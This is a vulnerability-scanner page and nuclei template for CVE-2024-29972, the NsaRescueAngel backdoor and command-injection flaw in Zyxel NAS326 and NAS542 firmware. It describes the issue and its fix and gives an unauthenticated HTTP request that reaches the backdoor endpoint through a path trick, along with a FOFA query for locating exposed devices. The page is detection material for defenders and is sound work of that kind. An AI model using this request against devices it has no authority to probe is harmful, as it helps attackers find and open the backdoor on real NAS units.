Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - NsaRescueAngel Backdoor Account

criticalseverity

9.88CVSS score

90.3%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

The command injection vulnerability in the CGI program "remote_help-cgi" in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted HTTP POST request.

Impact

Attackers can use the backdoor account to gain unauthorized administrative access to the NAS device.

Fix

Update Zyxel NAS326 firmware to a version that removes the backdoor account.

How to confirm it

Send: GET /desktop,/cgi-bin/remote_help-cgi/favicon.ico?type=sshd_tdc
Positive when: status_code == 200 and regex("(?i)<br>\\s*result=0\\s*</body>", body)

Run it with nuclei: nuclei -id CVE-2024-29972 -u <target>

The full check

id: CVE-2024-29972

info:
  name: Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - NsaRescueAngel Backdoor Account
  author: gy741
  severity: critical
  description: |
    The command injection vulnerability in the CGI program "remote_help-cgi" in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted HTTP POST request.
  impact: |
    Attackers can use the backdoor account to gain unauthorized administrative access to the NAS device.
  remediation: |
    Update Zyxel NAS326 firmware to a version that removes the backdoor account.
  reference:
    - https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29972
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.88
    cve-id: CVE-2024-29972
    cwe-id: CWE-78
    epss-score: 0.90349
    epss-percentile: 0.99801
    cpe: cpe:2.3:o:zyxel:nas326_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zyxel
    product: nas326_firmware
    fofa-query: app="ZYXEL-NAS326"
  tags: cve,cve2024,zyxel,backdoor,vkev,vuln

http:
  - raw:
      - |
        GET /desktop,/cgi-bin/remote_help-cgi/favicon.ico?type=sshd_tdc HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - 'regex("(?i)<br>\\s*result=0\\s*</body>", body)'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from